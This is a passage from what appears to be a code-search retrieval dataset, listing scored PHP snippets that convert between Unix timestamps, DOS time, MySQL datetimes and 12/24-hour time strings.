convertUnixTime($unixTime)\n {\n return gmdate(\"Y-m-d\", $unixTime);\n }", "title": "" }, { "docid": "eee762e9597b54466614ca6b24aa4101", "score": "0.5847185", "text": "public static function dos2unix($timestamp)\n {\n $sec = 2 * ($timestamp & 0x1f);\n $min = ($timestamp >> 5) & 0x3f;\n $hrs = ($timestamp >> 11) & 0x1f;\n $day = ($timestamp >> 16) & 0x1f;\n $mon = (($timestamp >> 21) & 0x0f);\n $year = (($timestamp >> 25) & 0x7f) + 1980;\n\n return mktime($hrs, $min, $sec, $mon, $day, $year);\n }", "title": "" }, { "docid": "165e11ad849834bc773d9f9898c37574", "score": "0.58429384", "text": "function mysql_string_with_tz_to_unixtime($mysql_datestring, $mysql_tz) {\n\t\t$dt = new DateTime($mysql_datestring, new DateTimeZone($mysql_tz));\n\t\treturn $dt->getTimestamp();\n\t}", "title": "" }, { "docid": "c81ee4f678a7683af4b969f871946186", "score": "0.5829626", "text": "static function toUnixDateTime($datetime)\r\n\t{\r\n\t\t// convert to absolute dates if neccessary\r\n\t\t$datetime = self::getAbsDate($datetime);\r\n\t\t$year = substr($datetime,0,4);\r\n\t\t$month = substr($datetime,5,2);\r\n\t\t$day = substr($datetime,8,2);\r\n\t\t$hour = 0;\r\n\t\t$minute = 0;\r\n\t\t$second = 0;\r\n\t\tif(strlen($datetime) > 10) {\r\n\t\t\t$hour = substr($datetime,11,2);\r\n\t\t\t$minute = substr($datetime,14,2);\r\n\t\t\t$second = substr($datetime,17,2);\r\n\t\t}\r\n\t\treturn gmmktime($hour, $minute, $second, $month, $day, $year);\r\n\t}", "title": "" }, { "docid": "693e2d0ada343c3af68973686e7af582", "score": "0.58240783", "text": "public function format_date($twitter_time)\n {\n\t\t$unix_timestamp = strtotime($twitter_time);\n\t\treturn $unix_timestamp;\n }", "title": "" }, { "docid": "d2c74aa73bc59be166ffd78ba932849a", "score": "0.5808355", "text": "public function convertMicrotimeToUnixTimestamp($microtime)\r\n {\r\n return $microtime;\r\n // Removed by errors when a milisecond ends in 000\r\n // $time = $microtime / 1000;\r\n // list($seconds, $numeric_after_point) = explode(\".\", $time);\r\n // return $seconds;\r\n }", "title": "" }, { "docid": "f3107da1e2382ecd455cf9f66e3e25b8", "score": "0.5804486", "text": "function iil_StrToTime($str){\n\t$str = trim($str);\n\t$str = str_replace(\" \", \" \", $str);\n\t\n\t//strip off day of week\n\t$pos=strpos($str, \" \");\n\t$word = substr($str, 0, $pos);\n\tif (!is_numeric($word)) $str = substr($str, $pos+1);\n\n\t//explode, take good parts\n\t$a=explode(\" \",$str);\n\t$month_a=array(\"Jan\"=>1,\"Feb\"=>2,\"Mar\"=>3,\"Apr\"=>4,\"May\"=>5,\"Jun\"=>6,\"Jul\"=>7,\"Aug\"=>8,\"Sep\"=>9,\"Oct\"=>10,\"Nov\"=>11,\"Dec\"=>12);\n\t$month_str=$a[1];\n\t$month=$month_a[$month_str];\n\t$day=$a[0];\n\t$year=$a[2];\n\t$time=$a[3];\n\t$tz_str = $a[4];\n\t$tz = substr($tz_str, 0, 3);\n\t$ta=explode(\":\",$time);\n\t$hour=(int)$ta[0]-(int)$tz;\n\t$minute=$ta[1];\n\t$second=$ta[2];\n\n\t//make UNIX timestamp\n\treturn mktime($hour, $minute, $second, $month, $day, $year);\n\t//return mktime_fix($hour, $minute, $second, $month, $day, $year);\n}", "title": "" }, { "docid": "52fd68c8733e2aca6da0924d8f9d157d", "score": "0.5791229", "text": "function db_to_timestamp($datetime = \"\")\n\t{\n\t $l = strlen($datetime);\n\t if(!($l == 10 || $l == 19))\n\t return 0;\n\n\t //\n\t $date = $datetime;\n\t $hours = 0;\n\t $minutes = 0;\n\t $seconds = 0;\n\n\t // DATETIME only\n\t if($l == 19)\n\t {\n\t list($date, $time) = explode(\" \", $datetime);\n\t list($hours, $minutes, $seconds) = explode(\":\", $time);\n\t }\n\n\t list($year, $month, $day) = explode(\"-\", $date);\n\n\t return mktime($hours, $minutes, $seconds, $month, $day, $year);\n\t}", "title": "" }, { "docid": "7c530b8747c18af86c8e4dfff3076b70", "score": "0.5756266", "text": "function ts_mysql2unix($mysql_timestamp) {\n return strtotime($mysql_timestamp);\n}", "title": "" }, { "docid": "f6d06cc4e5be682adeb5aaca55cce7a6", "score": "0.575397", "text": "function format_user_time($usertimezone,$timestring,$format=\"n/j/y g:i a T\") {\n //todo: check if timestring is GMT, if not add +00 to end\n $unixtimestamp = strtotime($timestring);\n $do = new DateTime('@'.$unixtimestamp);\n $dtzo = new DateTimeZone($usertimezone);\n $do->setTimezone($dtzo);\n return $do->format($format);\n}", "title": "" }, { "docid": "3cc02131469a12441a686e9d4075a015", "score": "0.57454", "text": "function convertdate_back($tarikh) {\n$str = explode(\"/\", $tarikh);\n//$trk = mktime(0,0,0,$str[1],$str[2],$str[0]);\n$trk = $str[2] . \"-\" . $str[1] . \"-\" . $str[0];\nreturn($trk);\n}", "title": "" }, { "docid": "1c9b45b56ca3669842a798ae15c204f6", "score": "0.5744115", "text": "function tpl_make_timestamp($string)\r\n{\r\n if (empty($string)) {\r\n $string = \"now\";\r\n }\r\n $time = strtotime($string);\r\n if (is_numeric($time) && $time != - 1) {\r\n return $time;\r\n }\r\n \r\n // is mysql timestamp format of YYYYMMDDHHMMSS?\r\n if (is_numeric($string) && strlen($string) == 14) {\r\n $time = mktime(substr($string, 8, 2), substr($string, 10, 2), substr($string, 12, 2), substr($string, 4, 2), substr($string, 6, 2), substr($string, 0, 4));\r\n return $time;\r\n }\r\n \r\n // couldn't recognize it, try to return a time\r\n $time = (int) $string;\r\n if ($time > 0) {\r\n return $time;\r\n } else {\r\n return time();\r\n }\r\n}", "title": "" }, { "docid": "807e7fee80c178ad8d439bed5e22eeee", "score": "0.57412577", "text": "public static function localStrToTime($str)\r {\r\r /**\r * $time = mktime($hour, $minute, $second, $month, $day, $year) - date('Z') + (date('Z') - $timezone * 3600)\r * 先用mktime生成时间戳,再减去date('Z')转换为GMT时间,然后修正为用户自定义时间。以下是化简后结果\r **/\r $time = strtotime($str);//- $timezone * 3600;\r\r return $time;\r\r }", "title": "" }, { "docid": "fbe072d475f20e86fe04c124aeefd532", "score": "0.5723872", "text": "function strToTime($str) {\n\t\t$tab = explode(\"-\", $str, 3);\n\t\treturn strtotime($tab[2] . \"-\" . $tab[1] . \"-\" . $tab[0]);\n\t}", "title": "" }, { "docid": "8f1b1fb2f539336ec415877147a833da", "score": "0.5721477", "text": "function date2ts($str) {\n\t\t@list( $date, $time ) = explode( ' ', trim($str) );\n\t\t@list( $y, $m, $d ) = explode( ':', $date );\n\t\n\t\treturn strtotime( \"{$y}-{$m}-{$d} {$time}\" );\n\t}", "title": "" }, { "docid": "b7f575c4ca324a21d8c7b3c7e1b3f070", "score": "0.5708211", "text": "function iil_StrToTime($str){\n\t$str = trim($str);\n\t$str = str_replace(\" \", \" \", $str);\n\t\n\t//strip off day of week\n\t$pos=strpos($str, \" \");\n\t$word = substr($str, 0, $pos);\n\tif (!is_numeric($word)) $str = substr($str, $pos+1);\n\n\t//explode, take good parts\n\t$a=explode(\" \",$str);\n\t$month_a=array(\"Jan\"=>1,\"Feb\"=>2,\"Mar\"=>3,\"Apr\"=>4,\"May\"=>5,\"Jun\"=>6,\"Jul\"=>7,\"Aug\"=>8,\"Sep\"=>9,\"Oct\"=>10,\"Nov\"=>11,\"Dec\"=>12);\n\t$month_str=$a[1];\n\t$month=$month_a[$month_str];\n\t$day=$a[0];\n\t$year=$a[2];\n\t$time=$a[3];\n\t$tz_str = $a[4];\n\t$tz = substr($tz_str, 0, 3);\n\t$ta=explode(\":\",$time);\n\t$hour=(int)$ta[0]-(int)$tz;\n\t$minute=$ta[1];\n\t$second=$ta[2];\n\n\t//make UNIX timestamp\n\treturn mktime($hour, $minute, $second, $month, $day, $year);\n}", "title": "" }, { "docid": "07cf737aab7ad3b05e152ff42d250354", "score": "0.5706936", "text": "function wc_string_to_timestamp( $time_string, $from_timestamp = null ) {\n\t\t\t$original_timezone = date_default_timezone_get();\n\t\t\t// @codingStandardsIgnoreStart\n\t\t\tdate_default_timezone_set( 'UTC' );\n\t\t\tif ( null === $from_timestamp ) {\n\t\t\t\t$next_timestamp = strtotime( $time_string );\n\t\t\t} else {\n\t\t\t\t$next_timestamp = strtotime( $time_string, $from_timestamp );\n\t\t\t}\n\t\t\tdate_default_timezone_set( $original_timezone );\n\t\t\t// @codingStandardsIgnoreEnd\n\t\t\treturn $next_timestamp;\n\t\t}", "title": "" }, { "docid": "4a45b402f15334dd194ccc33f234dc31", "score": "0.56955993", "text": "static function getUnixTimestamp($strtime, $formats = array('Y-m-d H:i:s'))\n\t{\n\t\t//Check if the string is already a timestamp\n\t\tif (preg_match(\"/^[0-9]{1,10}$/\", $strtime))\n\t\t\treturn $strtime;\n\n\t\tforeach($formats as $format)\n\t\t{\n\t\t\t$regex = self::strftime2regex($format);\n\t\t\tif (preg_match($regex, $strtime))\n\t\t\t\treturn self::timeFromFormat($strtime, $format);\n\t\t}\n\t}", "title": "" }, { "docid": "7d4a85ed183e9fb75cd240cbf26a3c01", "score": "0.5670907", "text": "function human_to_unix(string $date = '')\n {\n if ($date === '') {\n return false;\n }\n\n $date = preg_replace('/\\040+/', ' ', trim($date));\n\n if ( ! preg_match(\n '/^(\\d{2}|\\d{4})\\-[0-9]{1,2}\\-[0-9]{1,2}\\s[0-9]{1,2}:[0-9]{1,2}(?::[0-9]{1,2})?(?:\\s[AP]M)?$/i',\n $date\n )\n ) {\n return false;\n }\n\n sscanf($date, '%d-%d-%d %s %s', $year, $month, $day, $time, $ampm);\n sscanf($time, '%d:%d:%d', $hour, $min, $sec);\n isset($sec) OR $sec = 0;\n\n if (isset($ampm)) {\n $ampm = strtolower($ampm);\n\n if ($ampm[ 0 ] === 'p' && $hour < 12) {\n $hour += 12;\n } elseif ($ampm[ 0 ] === 'a' && $hour === 12) {\n $hour = 0;\n }\n }\n\n return mktime($hour, $min, $sec, $month, $day, $year);\n }", "title": "" }, { "docid": "50483ed4f2871e81bd69ae3e7c460fdf", "score": "0.5668233", "text": "function get_time_from_timestamp(string $time) : string {\n return add_dots_to_hour(date(\"g:ia\", strtotime($time)));\n}", "title": "" }, { "docid": "afebf7cbc451d12abb74a48aa8e79317", "score": "0.56599087", "text": "private static function manageLogConvertTime($time) {\n\t\treturn gmdate('Y-m-d\\TH:i:s\\Z', $time);\n\t}", "title": "" }, { "docid": "bea678238eb3ccd1bd4a8c3e646d87e5", "score": "0.56200445", "text": "function stamp2time($stamp){\n\t\t\t$format .= $this->time_date_sep;\n\t\t\tforeach($this->time_order as $key => $item){\n\t\t\t\t$format .= $this->time_map[$item];\n\t\t\t\tif($key < sizeof($this->time_map) - 1){\n\t\t\t\t\t$format .= $this->time_sep;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn trim(date($format,$stamp));\n\t\t}", "title": "" }, { "docid": "71c411e0f1c207c494ae0eee71403db6", "score": "0.5585563", "text": "public static function dos2unix($timestamp = FALSE)\n\t{\n\t\t$sec = 2 * ($timestamp & 0x1f);\n\t\t$min = ($timestamp >> 5) & 0x3f;\n\t\t$hrs = ($timestamp >> 11) & 0x1f;\n\t\t$day = ($timestamp >> 16) & 0x1f;\n\t\t$mon = ($timestamp >> 21) & 0x0f;\n\t\t$year = ($timestamp >> 25) & 0x7f;\n\n\t\treturn mktime($hrs, $min, $sec, $mon, $day, $year + 1980);\n\t}", "title": "" }, { "docid": "057f2ecfe571a8a214f2f47074a2d575", "score": "0.5556978", "text": "function date_conv($t_stamp) {\n\t\treturn(date('Y-m-d H:i:s', $t_stamp));\n\t}", "title": "" }, { "docid": "e33de77a99bc21e96f3ef77b1b451e02", "score": "0.55535513", "text": "public function parse($string)\n\t{\n\t\treturn strtotime($string) - mktime(0,0,0,1,1,1970);\n\t}", "title": "" }, { "docid": "e032e652f10f5060b0e9c7b74845685b", "score": "0.55529106", "text": "public static function strtotimedmy($datestring = '01/01/1970', $timestring = '00:00:01')\n {\n $timegroup = explode(':', $timestring);\n $dategroup = explode('/', $datestring);\n\n return mktime(\n (int) trim($timegroup[0]),\n (int) trim($timegroup[1]),\n isset($timegroup[2]) ? (int) trim($timegroup[2]) : 0,\n (int) trim($dategroup[1]),\n (int) trim($dategroup[0]),\n (int) trim($dategroup[2])\n );\n }", "title": "" }, { "docid": "df19963128f1fe6aaf6a8fc9864b905f", "score": "0.5548069", "text": "function ts_unix2mysql($unix_timestamp) {\n return gmdate('Y-m-d H:i:s', $unix_timestamp); // because mysql uses UTC timezone, timestamp col has no zone info\n}", "title": "" }, { "docid": "2dfb7d89c44fe92197c13e7e13226151", "score": "0.5530913", "text": "function timeConversion($s) {\n\n // Determines if the date is PM or AM\n $pm = substr($s, -2) == 'PM' ? true : false;\n \n // Takes hour from the date\n $hour = substr($s, 0, 2);\n \n if ($hour == 12 AND !$pm)\n $hour = '00';\n \n if ($pm && $hour != 12)\n $hour += 12;\n \n return $hour . substr($s, 2, 6);\n}", "title": "" }, { "docid": "9dc24430866b9d67cd7c62a33478812d", "score": "0.5522306", "text": "function convert_javascript_timestamp_to_php_timestamp(string $timestamp) {\n $timestamp = substr($timestamp, 0, -1);\n return implode(\" \", explode(\"T\", $timestamp));\n}", "title": "" }, { "docid": "f1de71d43b26df2fa5daa2bfa80cda9c", "score": "0.5521267", "text": "public static function rTimeConverter($string)\n {\n $time = Carbon::parse($string);\n if($time->hour > 12)\n {\n $time->hour = $time->hour - 12;\n $time = $time->toTimeString();\n return $time = $time.' PM';\n }\n else{\n $time = $time->toTimeString();\n return $time = $time.' AM';\n }\n }", "title": "" }, { "docid": "48b4b33e8059e6b6ac7abf2750ab90b5", "score": "0.5517254", "text": "public function dateToStamp($string, $timezone = 'UTC', $timezone_to = NULL) {\n $string = trim($string);\n if (empty($string)) {\n return 0;\n }\n\n if (!$timezone_to) {\n $timezone_to = drupal_get_user_timezone();\n }\n try {\n $date = new \\DateTime($string, new \\DateTimeZone($timezone));\n $date->setTimezone(new \\DateTimeZone($timezone_to));\n\n return $date->getTimestamp();\n }\n catch (\\Exception $e) {\n return 0;\n }\n }", "title": "" }, { "docid": "1426cac522a38259ef80506f0cc92965", "score": "0.55106735", "text": "function convertdate_mdy($tarikh) {\n$str = explode(\"-\", $tarikh);\n//$trk = mktime(0,0,0,$str[1],$str[2],$str[0]);\n$trk = $str[1] . \"/\" . $str[2] . \"/\" . $str[0];\nreturn($trk);\n\n}", "title": "" }, { "docid": "f6cd464905629b21db2781b27ea640d1", "score": "0.55096376", "text": "function convertMicrotime($time)\n{\n return round($time * 1000, 2);\n}", "title": "" }, { "docid": "a056b8c799f127902cb036475c3c23b7", "score": "0.5482563", "text": "function convertEpoch($time) {\n $formatedTime = new DateTime(\"@$time\");\n\n // Add one hour to correct time timezone problems\n date_add($formatedTime, date_interval_create_from_date_string('1 hour'));\n\n return $formatedTime->format('Y-m-d H:i:s');\n}", "title": "" }, { "docid": "233cdaf54ecf4e640492243ba27a6bdb", "score": "0.5478938", "text": "function timeConversion($s) {\n return date('H:i:s', strtotime($s));\n}", "title": "" }, { "docid": "fcd72bdb7760f7fdf34032da8206e79e", "score": "0.5462317", "text": "protected static function assTimeToInternal($srt_time)\n {\n $parsed = date_parse(\"1970-01-01 $srt_time UTC\");\n $time = $parsed['hour'] * 3600 + $parsed['minute'] * 60 + $parsed['second'] + $parsed['fraction'];\n\n return $time;\n }", "title": "" }, { "docid": "1e69d87dd4a1602a63257210766f9fd7", "score": "0.5458974", "text": "private function process_timeToDB($value) {\n\t\tif (!$value)\n\t\t\treturn 0;\n\t\tif (preg_match('`^\\d{1,2}:\\d{1,2}$`', $value) && ($time = strtotime($value))) {\n\t\t\t$value = $time;\n\t\t}\n\t\telse {\n\t\t\t$time = preg_replace('<[^0-9]>', '', $value);\n\t\t\t$timeArray = str_split($time, 2);\n\t\t\t$h = $timeArray[0];\n\t\t\t$i = $timeArray[1];\n\t\t\t$value = mktime($h,$i);\n\t\t}\n\t\treturn intval($value);\n\t}", "title": "" }, { "docid": "99d29f5ad48dca0efdbc22bf0e338074", "score": "0.5457645", "text": "function strtodbtime($gettime,$hour24='')\r\n{\r\n\tif($gettime=='' || $gettime=='00:00:00')\r\n\t\treturn \"\";\r\n\telse\r\n\t{\r\n\t\tif(strpos($gettime,' pm'))\r\n\t\t{\r\n\t\t\t$temptime = str_replace(' pm','',$gettime);\r\n\t\t\t$temptime = explode(':',$temptime);\r\n\t\t\t$hour = ($temptime[0]!=12) ? (12 + $temptime[0]) : $temptime[0];\r\n\t\t\t$minute = $temptime[1];\r\n\t\t\t$retime = $hour.':'.$minute;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$temptime = str_replace(' am','',$gettime);\r\n\t\t\t$temptime = explode(':',$temptime);\r\n\t\t\t$hour = ($temptime[0]!=12) ? $temptime[0] : 00;\r\n\t\t\t$minute = $temptime[1];\r\n\t\t\t$retime = $hour.':'.$minute;\r\n\t\t}\r\n\t\treturn $retime;\r\n\t}\r\n}", "title": "" }, { "docid": "3bc801c3433d43a525d2949602bcad2c", "score": "0.54506844", "text": "function getDateTweet($timeTweet) {\n //delete \"+0000\" from the date\n $timeTweet = preg_replace(\"/[+]\\d*\\s/\", \"\", $timeTweet);\n //get nb hour in $output_array\n preg_match(\"/\\s\\d{2}:/\", $timeTweet, $output_array);\n $nbInitial = $output_array[0];\n $nb = str_replace(\" \",\"\",$nbInitial);\n $nb = str_replace(\":\",\"\",$nb);\n if ($nb < 21) {\n $nb += 2;\n }\n //TODO change day\n elseif ($nb == 22) {\n $nb = 00;\n }\n elseif ($nb == 23) {\n $nb = 01;\n } \n $nbNew = \" \".$nb.\":\";\n return str_replace($nbInitial, $nbNew,$timeTweet); \n}", "title": "" }, { "docid": "067b815fbd1335c2c6364f5d0dff115f", "score": "0.5446224", "text": "static public function dateTimeToTimeStamp($datetime)\n {\n $year = substr($datetime,0,4);\n $month = substr($datetime,5,2);\n $day = substr($datetime,8,2);\n $hour = substr($datetime,11,2);\n $minute = substr($datetime,14,2);\n $second = substr($datetime,17,2);\n\n date_default_timezone_set(\"Europe/Berlin\");\n $string = mktime($hour, $minute, $second, $month, $day, $year);\n\n return $string;\n }", "title": "" }, { "docid": "f8d040a005ab34d8ae8cba833906f322", "score": "0.5444798", "text": "function ffd_string_to_timestamp( $time_string, $from_timestamp = null ) {\r\n\t$original_timezone = date_default_timezone_get();\r\n\r\n\t// @codingStandardsIgnoreStart\r\n\tdate_default_timezone_set( 'UTC' );\r\n\r\n\tif ( null === $from_timestamp ) {\r\n\t\t$next_timestamp = strtotime( $time_string );\r\n\t} else {\r\n\t\t$next_timestamp = strtotime( $time_string, $from_timestamp );\r\n\t}\r\n\r\n\tdate_default_timezone_set( $original_timezone );\r\n\t// @codingStandardsIgnoreEnd\r\n\r\n\treturn $next_timestamp;\r\n}", "title": "" }, { "docid": "cc102adcb59902f573e37b46489d2e69", "score": "0.54368365", "text": "public function parseTime($time)\n {\n $time = str_replace(array('Updated - ', 'Update - '), '', $time);\n $time = str_replace(array('one', 'One'), '1', $time);\n\n return strtotime($time);\n }", "title": "" }, { "docid": "b2ae6dcf150d486e02011da1470a14cd", "score": "0.543272", "text": "private function parserStrtotime($string)\n {\n if (substr($string, -1) == 'Z') {\n return LocalTime::fromServerTime((int)strtotime(substr($string, 0, -1).' UTC'))->getTimestamp();\n }\n\n return LocalTime::fromString($string)->getTimestamp();\n }", "title": "" }, { "docid": "bb4fd583ec72b33fa4b69bfb630be66d", "score": "0.5426072", "text": "function AsTimeStamp($val)\n{\n $stamp = $val;\n if(!is_numeric($stamp)) $stamp = strtotime($stamp);\t\t \n return $stamp;\n}", "title": "" }, { "docid": "29a9f3a0ee15b5ed6988cf1631ad7186", "score": "0.54203755", "text": "function mysqldatetime_to_timestamp($datetime = \"\")\n{\n $l = strlen($datetime);\n if(!($l == 10 || $l == 19))\n return 0;\n\n //\n $date = $datetime;\n $hours = 0;\n $minutes = 0;\n $seconds = 0;\n\n // DATETIME only\n if($l == 19)\n {\n list($date, $time) = explode(\" \", $datetime);\n list($hours, $minutes, $seconds) = explode(\":\", $time);\n }\n\n list($year, $month, $day) = explode(\"-\", $date);\n\n return mktime($hours, $minutes, $seconds, $month, $day, $year);\n}", "title": "" }, { "docid": "87b3785a5155a8155e797ead3df7849a", "score": "0.54156643", "text": "protected function timestamp($time)\n {\n return ms_timestamp($time);\n }", "title": "" }, { "docid": "c2a2d2e684cb1810ac3821384a7de33f", "score": "0.54091394", "text": "function timestamp($format,$time) {return date($format,strtotime($time));;}", "title": "" }, { "docid": "998b51519a6d9952df044968231259c0", "score": "0.54051507", "text": "public function convert_datetime($str) {\n\t\t\t \t\tif ( $str!=null) {\n\t\t\t \t\t\tlist($date, $time) = explode(' ', $str);\n\t\t\t\t \tlist($year, $month, $day) = explode('-', $date);\n\t\t\t\t \tlist($hour, $minute, $second) = explode(':', $time);\n\t\t\t\t \t$timestamp = mktime($hour, $minute, $second, $month, $day, $year);\n\t\t\t\t \treturn $timestamp;\t \n\t\t\t \t\t} \n\t\t\t }", "title": "" }, { "docid": "3011cbf6af81002a73816f6fbcdd2ffc", "score": "0.53968173", "text": "function wprss_strtotime($str)\n{\n if (empty($str)) {\n return 0;\n }\n\n $parts = explode(' ', $str);\n $date = explode('/', $parts[0]);\n $time = explode(':', $parts[1]);\n\n return mktime($time[0], $time[1], $time[2], $date[1], $date[0], $date[2]);\n}", "title": "" }, { "docid": "487af91f8ccaea4824b50d12eaa8107a", "score": "0.5382414", "text": "function datetime_to_timestamp($dt, $type = 'local') {\n $mktime = (isset($type) && $type == 'gmt') ? 'gmmktime' : 'mktime';\n $dt = preg_replace('/[^0-9]/', '', $dt);\n $ts = $mktime(substr($dt, 8, 2), substr($dt, 10, 2), substr($dt, 12, 2), substr($dt, 4, 2), substr($dt, 6, 2), substr($dt, 0, 4));\n return $ts;\n}", "title": "" }, { "docid": "c2fcd14b6a6934d026370e48610798e5", "score": "0.5363173", "text": "function unix2DosTime($unixtime = 0){\r\n\t\t$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);\r\n\t\t\r\n\t\tif($timearray['year'] < 1980){\r\n\t\t\t$timearray['year'] = 1980;\r\n\t\t\t$timearray['mon'] = 1;\r\n\t\t\t$timearray['mday'] = 1;\r\n\t\t\t$timearray['hours'] = 0;\r\n\t\t\t$timearray['minutes'] = 0;\r\n\t\t\t$timearray['seconds'] = 0;\r\n\t\t}\r\n\t\t\r\n\t\treturn (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);\r\n\t}", "title": "" }, { "docid": "8cae463fd566725b8802b47423e6eb6b", "score": "0.53416675", "text": "public static function toUnixTimeStamp($excelDateTime) {\n\t\tif(!is_numeric($excelDateTime)) {\n\t\t\treturn $excelDateTime;\n\t\t}\n\t\t$d = floor($excelDateTime); // seconds since 1900\n\t\t$t = $excelDateTime - $d;\n\t\treturn ($d > 0) ? ( $d - 25569 ) * 86400 + $t * 86400 : $t * 86400;\n\t}", "title": "" }, { "docid": "b9639ae1721c8031f933863e261aad37", "score": "0.533838", "text": "public function convertToTime($time) {\n return strtotime($time);\n }", "title": "" }, { "docid": "e8b55c5ce4659ceda566e791715c5147", "score": "0.53307295", "text": "public static function name_to_timestamp($name)\n\t\t{\n\t\t\t//change name into timestamp\n\t\t\t//name is in base hex\n\t\t\t//timestamp go to base dex\n\t\t\t$timestamp = hexdec($name);\n\t\t\treturn $timestamp;\n\t\t}", "title": "" }, { "docid": "bdc48858554c958ba2519d2502e8cf7a", "score": "0.53293616", "text": "function stringToTime($string)\n {\n $units = array(\n 's' => 1,\n 'm' => 60,\n 'h' => 60 * 60,\n 'd' => 60 * 60 * 24,\n 'w' => 60 * 60 * 24 * 7,\n );\n\n $string = explode(' ', $string);\n $time = 0;\n\n foreach($string as $s)\n {\n if ($unit = @$units[(substr($s, -1))])\n $time += (float) (substr($s, 0, -1)) * $unit;\n else return null;\n }\n return $time;\n }", "title": "" }, { "docid": "7b377b99cdd7c8a4f7de2f540803b0a9", "score": "0.5324449", "text": "function convertTimestamp( $ugly ){\n $date = new DateTime( $ugly );\n return $date->format('l, F jS, Y');\n}", "title": "" }, { "docid": "a3b4d4aef224162d5d7f1e0f652d926d", "score": "0.53115773", "text": "function string_to_time( $value )\n{\n $time = strtotime( \"2000-01-01 $value\" );\n if ( $time )\n {\n return date( 'H:i:s', $time );\n }\n return NULL;\n}", "title": "" }, { "docid": "c9d881d92057ae9c6ed1a731a0db0cc0", "score": "0.53074753", "text": "public static function toUnixTimeStamp($excelDateTime) {\n if (!is_numeric($excelDateTime)) {\n return $excelDateTime;\n }\n $d = floor($excelDateTime); // seconds since 1900\n $t = $excelDateTime - $d;\n return ($d > 0) ? ( $d - 25569 ) * 86400 + $t * 86400 : $t * 86400;\n }", "title": "" }, { "docid": "3d4c1b4e3ce961f97956f0c40ba8eca9", "score": "0.53021264", "text": "function mf_get_time($time,$format=false){\n\t//remove colon\n\t$time = str_replace(':','',$time);\n\t//get unix time\t\n\t$time = strtotime($time);\n\t//\n\t\n\tif(!$format){\n\t\t$time = date('g:ia',$time);\n\t} else {\n\t\t$time = date($format,$time);\n\t}\n\treturn $time;\n}", "title": "" }, { "docid": "c5e7d63c8ef6790f0a28da7fb0fd2ba6", "score": "0.5291131", "text": "public function transformTime(string $str) {\n /**\n * Write your code here.\n */\n return date(\"H:i:s\", strtotime($str));\n }", "title": "" }, { "docid": "3ccf1864bdee151e931fed6d5e8421b8", "score": "0.5289954", "text": "function utctime_to_usertime($timestamp = null, $member = null)\n{\n if ($timestamp === null) {\n $timestamp = time();\n }\n\n $timezone = get_users_timezone($member);\n\n return tz_time($timestamp, $timezone);\n}", "title": "" }, { "docid": "f320f39f0bf56c0309990e807f271f7a", "score": "0.52817535", "text": "function mysql2clocktime($date){\n $format='H:i';\n return date($format, strtotime($date));\n }", "title": "" }, { "docid": "41d2c0fb925b131478821f801149fee1", "score": "0.52758557", "text": "function chat_time_with_sec($datetime){\n/* 2010-07-16 17:45:10 <- input\n17:45 <- Output */\n\t\t$date_frmt = $this->customdate1($datetime);\n\t\t$datetime = explode(' ',$datetime);\n\t\t$otime = explode(':',$datetime[1]);\n\t\t$ampm='am';\n\t\tif($otime[0]>12){\n\t\t\t$ampm='pm';\n\t\t\tswitch($otime[0]){\n\t\t\t\tcase 13 : $otime[0]='01';\n\t\t\t\t\t\t break;\n\t\t\t\tcase 14 : $otime[0]='02';\n\t\t\t\t\t\t break;\n\t\t\t\tcase 15 : $otime[0]='03';\n\t\t\t\t\t\t break;\n\t\t\t\tcase 16 : $otime[0]='04';\n\t\t\t\t\t\t break;\n\t\t\t\tcase 17 : $otime[0]='05';\n\t\t\t\t\t\t break;\n\t\t\t\tcase 18 : $otime[0]='06';\n\t\t\t\t\t\t break;\t\n\t\t\t\tcase 19 : $otime[0]='07';\n\t\t\t\t\t\t break; \n\t\t\t\tcase 20 : $otime[0]='08';\n\t\t\t\t\t\t break;\n\t\t\t\tcase 21 : $otime[0]='09';\n\t\t\t\t\t\t break;\n\t\t\t\tcase 22 : $otime[0]='10';\n\t\t\t\t\t\t break;\n\t\t\t\tcase 23 : $otime[0]='11';\n\t\t\t\t\t\t break;\t \n\t\t\t}\n\t\t}\n\t\t$timemin = $otime[0].\":\".$otime[1].\":\".$otime[2].\" \".$ampm;\n\t\treturn $date_frmt.' '.$timemin;\n\t}", "title": "" }, { "docid": "7775a853486ebce7ba2b37c4f9a25dfd", "score": "0.52732617", "text": "function dateToCal($timestamp) {\n return date('Ymd\\THis\\Z', $timestamp);\n}", "title": "" }, { "docid": "16cd95434612dc58818aa607373578f3", "score": "0.5272763", "text": "function unixToFancy($str){\n\t\treturn self::fancy(date(\"Ymd g:ia T\", $str));\n\t}", "title": "" }, { "docid": "bc9e350e82f61ec86bed5205248f02ae", "score": "0.5272533", "text": "public static function getTimestamp($str, $timestamp = 0) {\n\t\tif($timestamp == 0)\n\t\t\t$timestamp = time();\n\t\t\t\n\t\t$temp = explode(':', $str);\n\t\t$h = $temp[0];\n\t\t$min = $temp[1];\n\t\treturn strtotime($str, ($h < date('G', $timestamp) || ($h <= date('G', $timestamp) && $min < date('i', $timestamp)) ? strtotime('tomorrow') : $timestamp));\n\t}", "title": "" }, { "docid": "e79e76b52ee7881e9e540faf2514d0cd", "score": "0.52639985", "text": "function timeConversion($s) {\n preg_match('/([0-9]+):([0-9]+):([0-9]+)(AM|PM)/', $s, $times);\n $hours = $times[1];\n $minutes = $times[2];\n $seconds = $times[3];\n $isPM = $times[4] === 'PM';\n\n $hours = ((!$isPM && $hours >= 12) || ($isPM && $hours < 12)) ? $hours + 12 : $hours;\n if ($hours === 24) {\n $hours = '00';\n }\n\n return $hours . ':' . $minutes . ':' . $seconds;\n}", "title": "" }, { "docid": "6532a8cb3d7d5c73c56ff13f7029fc67", "score": "0.5262594", "text": "function datetime_php($dateTime)\n{\n\tif (empty($dateTime))\n\t{\n\t\treturn 0;\n\t}\n\n\t$arr1 = explode(\" \", $dateTime);\n\n\tif (count($arr1) != 2)\n\t{\n\t\treturn 0;\n\t}\n\n\t$arr2 = explode(\"/\", $arr1[0]);\n\t$arr3 = explode(\":\", $arr1[1]);\n\n\tif (count($arr2) != 3 || count($arr3) != 3)\n\t{\n\t\treturn 0;\n\t}\n\n\treturn mktime((int)$arr3[0], (int)$arr3[1], (int)$arr3[2], (int)$arr2[1], (int)$arr2[0], (int)$arr2[2]);\n}", "title": "" }, { "docid": "40e0d6e2646faec46c4834107102db40", "score": 